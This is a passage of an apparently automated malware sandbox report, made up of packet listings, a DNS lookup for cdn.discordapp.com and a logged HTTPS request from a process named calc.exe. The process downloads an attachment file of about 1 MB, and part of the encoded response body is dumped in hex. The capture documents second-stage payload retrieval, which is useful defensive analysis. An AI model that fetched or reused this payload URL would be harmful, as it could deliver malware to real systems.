                                                                                                                                                          Oct 28, 2021 04:47:22.694142103 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:22.694205046 CEST49706443192.168.2.3162.159.129.233
                                                                                                                                                          Oct 28, 2021 04:47:22.704010010 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:22.704078913 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:22.704133034 CEST49706443192.168.2.3162.159.129.233
                                                                                                                                                          Oct 28, 2021 04:47:22.704159021 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:22.704176903 CEST49706443192.168.2.3162.159.129.233
                                                                                                                                                          Oct 28, 2021 04:47:22.704447985 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:22.704509020 CEST49706443192.168.2.3162.159.129.233
                                                                                                                                                          Oct 28, 2021 04:47:22.704519033 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:22.704567909 CEST49706443192.168.2.3162.159.129.233
                                                                                                                                                          Oct 28, 2021 04:47:22.705744028 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:22.705802917 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:22.705965996 CEST49706443192.168.2.3162.159.129.233
                                                                                                                                                          Oct 28, 2021 04:47:22.706101894 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:22.706171989 CEST49706443192.168.2.3162.159.129.233
                                                                                                                                                          Oct 28, 2021 04:47:22.706238985 CEST49706443192.168.2.3162.159.129.233
                                                                                                                                                          Oct 28, 2021 04:47:22.706372976 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:22.706423044 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:22.706429958 CEST49706443192.168.2.3162.159.129.233
                                                                                                                                                          Oct 28, 2021 04:47:22.706502914 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:22.706511021 CEST49706443192.168.2.3162.159.129.233
                                                                                                                                                          Oct 28, 2021 04:47:22.706542969 CEST49706443192.168.2.3162.159.129.233
                                                                                                                                                          Oct 28, 2021 04:47:22.707185984 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:22.707375050 CEST49706443192.168.2.3162.159.129.233
                                                                                                                                                          Oct 28, 2021 04:47:22.707911015 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:22.708019018 CEST49706443192.168.2.3162.159.129.233
                                                                                                                                                          Oct 28, 2021 04:47:22.742775917 CEST49706443192.168.2.3162.159.129.233
                                                                                                                                                          Oct 28, 2021 04:47:22.742805958 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:22.742894888 CEST49706443192.168.2.3162.159.129.233
                                                                                                                                                          Oct 28, 2021 04:47:22.850930929 CEST49706443192.168.2.3162.159.129.233
                                                                                                                                                          Oct 28, 2021 04:47:22.850950956 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:22.850961924 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:22.850966930 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:22.851052046 CEST49706443192.168.2.3162.159.129.233
                                                                                                                                                          Oct 28, 2021 04:47:22.851059914 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:22.851073980 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:22.851082087 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:22.851170063 CEST49706443192.168.2.3162.159.129.233
                                                                                                                                                          Oct 28, 2021 04:47:22.851178885 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:22.851222992 CEST49706443192.168.2.3162.159.129.233
                                                                                                                                                          Oct 28, 2021 04:47:22.851267099 CEST49706443192.168.2.3162.159.129.233
                                                                                                                                                          Oct 28, 2021 04:47:22.890189886 CEST49706443192.168.2.3162.159.129.233
                                                                                                                                                          Oct 28, 2021 04:47:22.890223980 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:22.890291929 CEST49706443192.168.2.3162.159.129.233
                                                                                                                                                          Oct 28, 2021 04:47:22.891396999 CEST49706443192.168.2.3162.159.129.233
                                                                                                                                                          Oct 28, 2021 04:47:22.891424894 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:22.891443968 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:22.891453028 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:22.891625881 CEST49706443192.168.2.3162.159.129.233
                                                                                                                                                          Oct 28, 2021 04:47:22.891642094 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:22.891658068 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:22.891726017 CEST49706443192.168.2.3162.159.129.233
                                                                                                                                                          Oct 28, 2021 04:47:22.909018993 CEST49706443192.168.2.3162.159.129.233
                                                                                                                                                          Oct 28, 2021 04:47:22.909038067 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:22.909137964 CEST49706443192.168.2.3162.159.129.233
                                                                                                                                                          Oct 28, 2021 04:47:22.910362959 CEST49706443192.168.2.3162.159.129.233
                                                                                                                                                          Oct 28, 2021 04:47:22.910378933 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:22.910392046 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:22.910397053 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:22.910478115 CEST49706443192.168.2.3162.159.129.233
                                                                                                                                                          Oct 28, 2021 04:47:22.910485029 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:22.910578012 CEST49706443192.168.2.3162.159.129.233
                                                                                                                                                          Oct 28, 2021 04:47:22.927069902 CEST49706443192.168.2.3162.159.129.233
                                                                                                                                                          Oct 28, 2021 04:47:22.927099943 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:22.927198887 CEST49706443192.168.2.3162.159.129.233
                                                                                                                                                          Oct 28, 2021 04:47:22.929430962 CEST49706443192.168.2.3162.159.129.233
                                                                                                                                                          Oct 28, 2021 04:47:22.929455042 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:22.929472923 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:22.929478884 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:22.929600000 CEST49706443192.168.2.3162.159.129.233
                                                                                                                                                          Oct 28, 2021 04:47:22.929611921 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:22.929685116 CEST49706443192.168.2.3162.159.129.233
                                                                                                                                                          Oct 28, 2021 04:47:22.941396952 CEST49706443192.168.2.3162.159.129.233
                                                                                                                                                          Oct 28, 2021 04:47:22.941421032 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:22.941520929 CEST49706443192.168.2.3162.159.129.233
                                                                                                                                                          Oct 28, 2021 04:47:22.942640066 CEST49706443192.168.2.3162.159.129.233
                                                                                                                                                          Oct 28, 2021 04:47:22.942663908 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:22.942682028 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:22.942687988 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:22.942805052 CEST49706443192.168.2.3162.159.129.233
                                                                                                                                                          Oct 28, 2021 04:47:22.942815065 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:22.942914009 CEST49706443192.168.2.3162.159.129.233
                                                                                                                                                          Oct 28, 2021 04:47:22.951291084 CEST49706443192.168.2.3162.159.129.233
                                                                                                                                                          Oct 28, 2021 04:47:22.951316118 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:22.951404095 CEST49706443192.168.2.3162.159.129.233
                                                                                                                                                          Oct 28, 2021 04:47:22.952764988 CEST49706443192.168.2.3162.159.129.233
                                                                                                                                                          Oct 28, 2021 04:47:22.952779055 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:22.952802896 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:22.952812910 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:22.952927113 CEST49706443192.168.2.3162.159.129.233
                                                                                                                                                          Oct 28, 2021 04:47:22.952934027 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:22.953001022 CEST49706443192.168.2.3162.159.129.233
                                                                                                                                                          Oct 28, 2021 04:47:22.960812092 CEST49706443192.168.2.3162.159.129.233
                                                                                                                                                          Oct 28, 2021 04:47:22.960834980 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:22.960923910 CEST49706443192.168.2.3162.159.129.233
                                                                                                                                                          Oct 28, 2021 04:47:22.961910963 CEST49706443192.168.2.3162.159.129.233
                                                                                                                                                          Oct 28, 2021 04:47:22.961925030 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:22.961941004 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:22.961951017 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:22.962074995 CEST49706443192.168.2.3162.159.129.233
                                                                                                                                                          Oct 28, 2021 04:47:22.962084055 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:22.962142944 CEST49706443192.168.2.3162.159.129.233
                                                                                                                                                          Oct 28, 2021 04:47:22.969628096 CEST49706443192.168.2.3162.159.129.233
                                                                                                                                                          Oct 28, 2021 04:47:22.969666004 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:22.969790936 CEST49706443192.168.2.3162.159.129.233
                                                                                                                                                          Oct 28, 2021 04:47:22.971935034 CEST49706443192.168.2.3162.159.129.233
                                                                                                                                                          Oct 28, 2021 04:47:22.971968889 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:22.971992016 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:22.972006083 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:22.972084999 CEST49706443192.168.2.3162.159.129.233
                                                                                                                                                          Oct 28, 2021 04:47:22.972194910 CEST49706443192.168.2.3162.159.129.233
                                                                                                                                                          Oct 28, 2021 04:47:22.979055882 CEST49706443192.168.2.3162.159.129.233
                                                                                                                                                          Oct 28, 2021 04:47:22.979090929 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:22.979190111 CEST49706443192.168.2.3162.159.129.233
                                                                                                                                                          Oct 28, 2021 04:47:22.981776953 CEST49706443192.168.2.3162.159.129.233
                                                                                                                                                          Oct 28, 2021 04:47:22.981812954 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:22.981834888 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:22.981880903 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:22.981990099 CEST49706443192.168.2.3162.159.129.233
                                                                                                                                                          Oct 28, 2021 04:47:22.982090950 CEST49706443192.168.2.3162.159.129.233
                                                                                                                                                          Oct 28, 2021 04:47:22.988820076 CEST49706443192.168.2.3162.159.129.233
                                                                                                                                                          Oct 28, 2021 04:47:22.988876104 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:22.989062071 CEST49706443192.168.2.3162.159.129.233
                                                                                                                                                          Oct 28, 2021 04:47:22.991231918 CEST49706443192.168.2.3162.159.129.233
                                                                                                                                                          Oct 28, 2021 04:47:22.991255999 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:22.991276026 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:22.991288900 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:22.991455078 CEST49706443192.168.2.3162.159.129.233
                                                                                                                                                          Oct 28, 2021 04:47:22.991538048 CEST49706443192.168.2.3162.159.129.233
                                                                                                                                                          Oct 28, 2021 04:47:22.998929024 CEST49706443192.168.2.3162.159.129.233
                                                                                                                                                          Oct 28, 2021 04:47:22.998953104 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:22.999099970 CEST49706443192.168.2.3162.159.129.233
                                                                                                                                                          Oct 28, 2021 04:47:23.001267910 CEST49706443192.168.2.3162.159.129.233
                                                                                                                                                          Oct 28, 2021 04:47:23.001296043 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:23.001316071 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:23.001327991 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:23.001441956 CEST49706443192.168.2.3162.159.129.233
                                                                                                                                                          Oct 28, 2021 04:47:23.001523018 CEST49706443192.168.2.3162.159.129.233
                                                                                                                                                          Oct 28, 2021 04:47:23.008316994 CEST49706443192.168.2.3162.159.129.233
                                                                                                                                                          Oct 28, 2021 04:47:23.008358002 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:23.008573055 CEST49706443192.168.2.3162.159.129.233
                                                                                                                                                          Oct 28, 2021 04:47:23.011166096 CEST49706443192.168.2.3162.159.129.233
                                                                                                                                                          Oct 28, 2021 04:47:23.011188984 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:23.011204958 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:23.011215925 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:23.011307001 CEST49706443192.168.2.3162.159.129.233
                                                                                                                                                          Oct 28, 2021 04:47:23.011365891 CEST49706443192.168.2.3162.159.129.233
                                                                                                                                                          Oct 28, 2021 04:47:23.018582106 CEST49706443192.168.2.3162.159.129.233
                                                                                                                                                          Oct 28, 2021 04:47:23.018618107 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:23.018752098 CEST49706443192.168.2.3162.159.129.233
                                                                                                                                                          Oct 28, 2021 04:47:23.020900965 CEST49706443192.168.2.3162.159.129.233
                                                                                                                                                          Oct 28, 2021 04:47:23.020925045 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:23.020950079 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:23.020961046 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:23.021063089 CEST49706443192.168.2.3162.159.129.233
                                                                                                                                                          Oct 28, 2021 04:47:23.021174908 CEST49706443192.168.2.3162.159.129.233
                                                                                                                                                          Oct 28, 2021 04:47:23.028539896 CEST49706443192.168.2.3162.159.129.233
                                                                                                                                                          Oct 28, 2021 04:47:23.028565884 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:23.028693914 CEST49706443192.168.2.3162.159.129.233
                                                                                                                                                          Oct 28, 2021 04:47:23.031456947 CEST49706443192.168.2.3162.159.129.233
                                                                                                                                                          Oct 28, 2021 04:47:23.031471014 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:23.031483889 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:23.031491995 CEST44349706162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:23.031579971 CEST49706443192.168.2.3162.159.129.233
                                                                                                                                                          Oct 28, 2021 04:47:23.031636000 CEST49706443192.168.2.3162.159.129.233
                                                                                                                                                          Oct 28, 2021 04:47:23.038551092 CEST49706443192.168.2.3162.159.129.233
                                                                                                                                                          Oct 28, 2021 04:47:23.040967941 CEST49706443192.168.2.3162.159.129.233
                                                                                                                                                          Oct 28, 2021 04:47:23.243086100 CEST49706443192.168.2.3162.159.129.233
                                                                                                                                                          Oct 28, 2021 04:47:25.203448057 CEST49707443192.168.2.3162.159.129.233
                                                                                                                                                          Oct 28, 2021 04:47:25.203486919 CEST44349707162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:25.203583002 CEST49707443192.168.2.3162.159.129.233
                                                                                                                                                          Oct 28, 2021 04:47:25.210303068 CEST49707443192.168.2.3162.159.129.233
                                                                                                                                                          Oct 28, 2021 04:47:25.210329056 CEST44349707162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:25.248603106 CEST44349707162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:25.280934095 CEST49707443192.168.2.3162.159.129.233
                                                                                                                                                          Oct 28, 2021 04:47:25.324879885 CEST44349707162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:25.437561035 CEST44349707162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:25.437721014 CEST44349707162.159.129.233192.168.2.3
                                                                                                                                                          Oct 28, 2021 04:47:25.437815905 CEST49707443192.168.2.3162.159.129.233
                                                                                                                                                          Oct 28, 2021 04:47:25.474730968 CEST49707443192.168.2.3162.159.129.233

                                                                                                                                                          UDP Packets

                                                                                                                                                          TimestampSource PortDest PortSource IPDest IP
                                                                                                                                                          Oct 28, 2021 04:47:21.000319958 CEST5745953192.168.2.38.8.8.8
                                                                                                                                                          Oct 28, 2021 04:47:21.024463892 CEST53574598.8.8.8192.168.2.3

                                                                                                                                                          DNS Queries

                                                                                                                                                          TimestampSource IPDest IPTrans IDOP CodeNameTypeClass
                                                                                                                                                          Oct 28, 2021 04:47:21.000319958 CEST192.168.2.38.8.8.80x9bb2Standard query (0)cdn.discordapp.comA (IP address)IN (0x0001)

                                                                                                                                                          DNS Answers

                                                                                                                                                          TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClass
                                                                                                                                                          Oct 28, 2021 04:47:21.024463892 CEST8.8.8.8192.168.2.30x9bb2No error (0)cdn.discordapp.com162.159.129.233A (IP address)IN (0x0001)
                                                                                                                                                          Oct 28, 2021 04:47:21.024463892 CEST8.8.8.8192.168.2.30x9bb2No error (0)cdn.discordapp.com162.159.133.233A (IP address)IN (0x0001)
                                                                                                                                                          Oct 28, 2021 04:47:21.024463892 CEST8.8.8.8192.168.2.30x9bb2No error (0)cdn.discordapp.com162.159.135.233A (IP address)IN (0x0001)
                                                                                                                                                          Oct 28, 2021 04:47:21.024463892 CEST8.8.8.8192.168.2.30x9bb2No error (0)cdn.discordapp.com162.159.134.233A (IP address)IN (0x0001)
                                                                                                                                                          Oct 28, 2021 04:47:21.024463892 CEST8.8.8.8192.168.2.30x9bb2No error (0)cdn.discordapp.com162.159.130.233A (IP address)IN (0x0001)
                                                                                                                                                          Oct 28, 2021 04:47:42.480710030 CEST8.8.8.8192.168.2.30xbf23No error (0)prda.aadg.msidentity.comwww.tm.a.prd.aadg.trafficmanager.netCNAME (Canonical name)IN (0x0001)

                                                                                                                                                          HTTP Request Dependency Graph

                                                                                                                                                          • cdn.discordapp.com

                                                                                                                                                          HTTPS Proxied Packets

                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                                                                                          0192.168.2.349706162.159.129.233443C:\Users\user\Desktop\calc.exe
                                                                                                                                                          TimestampkBytes transferredDirectionData
                                                                                                                                                          2021-10-28 02:47:22 UTC0OUTGET /attachments/897402450376536075/897465559711633408/8NMrqq.txt HTTP/1.1
                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
                                                                                                                                                          Host: cdn.discordapp.com
                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                          2021-10-28 02:47:22 UTC0INHTTP/1.1 200 OK
                                                                                                                                                          Date: Thu, 28 Oct 2021 02:47:22 GMT
                                                                                                                                                          Content-Type: text/plain
                                                                                                                                                          Content-Length: 1016519
                                                                                                                                                          Connection: close
                                                                                                                                                          CF-Ray: 6a50d6cc0f335cb6-FRA
                                                                                                                                                          Accept-Ranges: bytes
                                                                                                                                                          Cache-Control: public, max-age=31536000
                                                                                                                                                          Content-Disposition: attachment;%20filename=8NMrqq.txt
                                                                                                                                                          ETag: "5edcb658148b098b89d7e8e825a86af2"
                                                                                                                                                          Expires: Fri, 28 Oct 2022 02:47:22 GMT
                                                                                                                                                          Last-Modified: Tue, 12 Oct 2021 12:47:43 GMT
                                                                                                                                                          Vary: Accept-Encoding
                                                                                                                                                          CF-Cache-Status: MISS
                                                                                                                                                          Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400
                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                          x-goog-generation: 1634042863594335
                                                                                                                                                          x-goog-hash: crc32c=IK+c+g==
                                                                                                                                                          x-goog-hash: md5=Xty2WBSLCYuJ1+joJahq8g==
                                                                                                                                                          x-goog-metageneration: 1
                                                                                                                                                          x-goog-storage-class: STANDARD
                                                                                                                                                          x-goog-stored-content-encoding: identity
                                                                                                                                                          x-goog-stored-content-length: 1016519
                                                                                                                                                          X-GUploader-UploadID: ADPycdsJiMpPXHFTbjois8-RqQC1yRF-wmVQ54sc-h4rWQFKHQ3RAPbVkvg5TXOJKzLoqPUcfiY6ymKq3dOhnWTTOSwODCBpeQ
                                                                                                                                                          X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp
                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=%2Bxzj%2FR1DwGHjhnt7lO8Uy7oQOwH6JxHP7wHUbPvH%2BPl1R3yct1QGgiUaMDnz0SlJ3TEeZv8hGRkcbg%2FJiykjJNcTSMRP9hUu4D0u01Wtjz9qU6JsgVqJoIBBSmRC%2FqA3d1buog%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                          2021-10-28 02:47:22 UTC1INData Raw: 4e 45 4c 3a 20 7b 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2c 22 72 65 70 6f 72 74 5f 74 6f 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 30 30 7d 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 0d 0a
                                                                                                                                                          Data Ascii: NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflare
                                                                                                                                                          2021-10-28 02:47:22 UTC1INData Raw: 12 22 10 39 08 2d 28 34 26 3b 24 28 39 7d 7d 7d 79 4b 49 39 18 30 12 24 36 2b 34 3c 29 6d 6d 6d 37 15 00 09 28 0d 04 14 06 1b 04 0c 19 5d 5d 5d 37 05 10 19 38 1d 14 04 16 0b 14 1c 09 4d 4d 4d 47 75 60 69 48 6d 64 74 66 7b 64 6c 79 3d 3d 3d 53 65 74 79 58 7d 01 43 42 4d 01 7c 5c 2d 02 22 6f 76 66 4a 7d 41 35 7d 51 5d 6d 7d 7b 25 1e 2b 55 69 28 76 5a 71 53 71 5e 4d 5b 75 6a 21 79 3a c2 a2 c2 b7 c2 a3 c2 81 c2 93 c2 bf c2 a7 c2 8c c2 83 c2 ad c3 91 c2 8a c2 99 c3 ab c2 88 c3 9b c2 84 c2 a1 c3 88 c2 ac c2 90 c2 bb c3 84 c2 93 c2 ad c2 ad c2 a0 c2 88 c2 ac c3 bd c2 9c c3 a7 c2 ac c2 95 c2 80 c2 89 c2 a8 c2 8d c2 84 c2 94 c2 86 c2 9b c2 86 c2 ba c2 8d c3 8e c3 a9 c3 99 c3 8f c2 80 c2 93 c3 a9 c3 88 c3 b3 c2 84 c2 b2 c2 b3 c2 ae c2 b3 c3 ad c2 85 c3 84 c3 94 c3
                                                                                                                                                          Data Ascii: "9-(4&;$(9}}}yKI90$6+4<)mmm7(]]]78MMMGu`iHmdtf{dly===SetyX}CBM|\-"ovfJ}A5}Q]m}{%+Ui(vZqSq^M[uj!y:
                                                                                                                                                          2021-10-28 02:47:22 UTC2INData Raw: ac c2 8b c2 a0 c2 a8 c3 80 c2 a6 c2 88 c2 a3 c2 a9 c2 ba c3 a0 c3 a2 c3 a0 c2 94 c2 a0 c2 b7 c2 bc c2 9b c2 b0 c2 bb c2 a9 c2 b5 c2 ae c2 b0 c2 b9 c2 aa c3 90 c3 91 c3 90 c2 a9 c2 bf c2 8c c2 b7 c2 89 c2 ac c2 87 c2 99 c2 85 c2 9e c2 86 c2 af c2 9a c3 90 c3 82 c3 80 c2 b4 c2 8e c2 97 c2 95 c2 bb c2 90 c2 9b c2 8b c2 95 c2 8e c2 93 c2 99 c2 bd c2 b0 c2 90 c2 b0 c3 84 c3 b0 c3 a7 c3 ac c3 8b c3 a0 c3 ab c3 b9 c3 a5 c3 be c3 a3 c3 a9 c3 ba c2 a0 c2 a2 c2 a0 c3 84 c3 a0 c3 b7 c3 bc c3 8b c3 b2 c2 8f c3 91 c3 ae c3 b8 c3 8a c3 8e c3 b2 c2 a6 c2 92 c2 90 c3 9f c3 90 c3 97 c3 8c c3 ab c3 80 c3 8e c3 af c3 86 c3 a8 c3 83 c3 89 c3 99 c2 a6 c2 82 c2 80 c3 b4 c3 8d c2 a2 c3 95 c3 bb c3 90 c3 9b c3 89 c3 95 c3 8e c3 93 c3 99 35 71 71 71 03 31 24 2d 04 25 28 38 22 3b
                                                                                                                                                          Data Ascii: 5qqq1$-%(8";
                                                                                                                                                          2021-10-28 02:47:22 UTC4INData Raw: c3 97 c2 ba c3 8a c2 a6 c3 af c2 a3 c2 aa c3 ab c3 86 4b 3e 29 0d 78 4d 78 10 3b 24 28 21 4e 19 1b 33 2a 08 2e 34 6c 51 66 02 24 4a 3f 3e 10 27 2b 31 12 77 1c 20 50 7e 5b 34 2a 22 08 0f 14 3a 15 2a 16 39 1d 03 7d 42 46 5e 35 02 16 33 04 07 0d 03 7a 58 60 64 3c 27 30 48 7b 5c 65 7c 68 54 71 5a 6e 44 79 5d 28 1d 28 6b 60 40 7c 6c 70 57 60 65 42 66 4d 7d 04 00 31 14 7a 53 40 75 4c 56 4f 53 42 27 52 70 36 17 08 4b 40 60 5c 4c 58 64 41 6a c2 be c2 94 c2 a9 c2 8d c3 b8 c3 8d c3 b8 c2 92 c2 b4 c2 86 c2 82 c2 8c c2 a4 c2 86 c2 a4 c2 b3 c2 aa c2 ae c2 87 c2 ae c3 a0 c3 8e c3 ab c2 93 c2 be c2 9c c2 9c c2 94 c2 92 c2 bc c2 a5 c2 99 c3 bc c2 a2 c2 8d c2 be c3 84 c3 90 c3 99 c3 93 c2 b6 c2 a3 c2 85 c2 91 c2 94 c2 a4 c3 b3 c2 86 c2 a2 c3 ae c2 86 c2 85 c3 a2 c3 83 c2
                                                                                                                                                          Data Ascii: K>)xMx;$(!N3*.4lQf$J?>'+1w P~[4*":*9}BF^53zX`d<'0H{\e|hTqZnDy]((k`@|lpW`eBfM}1zS@uLVOSB'Rp6K@`\LXdAj
                                                                                                                                                          2021-10-28 02:47:22 UTC5INData Raw: 81 c3 9b c3 be c3 9c c2 96 c2 a9 c3 b7 c2 87 c2 a2 c2 87 c2 91 c2 86 c2 b4 c2 87 c3 a9 c3 a0 c2 91 c3 8f c2 bb c3 8c c2 ba c2 8b c2 a8 c3 a1 c2 8a c2 9e c3 b2 c3 a6 c3 b9 c3 b9 c2 9a c3 a5 c3 b4 c2 b3 c3 8a c2 88 c3 bb c3 ab c3 82 c3 aa c2 b3 c3 b3 c3 9a c3 ad c3 a9 c3 82 c3 9d c3 9c c2 92 c3 96 c2 bb c2 ab c3 9d c3 a4 c3 bd c3 bb c3 ba c2 85 c2 b7 c3 82 c3 9e c3 9c c3 a5 c2 ac c2 bd c3 b9 c3 b5 c3 b5 c2 83 c2 b1 c2 a0 c2 a9 c3 85 c2 b6 c3 ba c3 8f c3 aa c3 95 c3 b0 c3 a1 c3 ba c3 b6 c2 a3 c2 8e c2 97 c3 8c c3 9e c3 86 c3 94 19 01 33 2d 36 28 29 14 0a 0f 60 08 31 27 21 11 30 01 52 28 2e 16 04 0f 19 52 63 3f 08 1a 38 3b 1e 70 26 18 0e 7b 2e 16 55 68 49 2c 18 0f 04 31 10 63 79 30 77 2d 67 77 3a 51 3f 2e 10 28 36 21 60 72 7c 68 07 4d 17 01 21 22 3f 5e 70 58
                                                                                                                                                          Data Ascii: 3-6()`1'!0R(.Rc?8;p&{.UhI,1cy0w-gw:Q?.(6!`r|hM!"?^pX
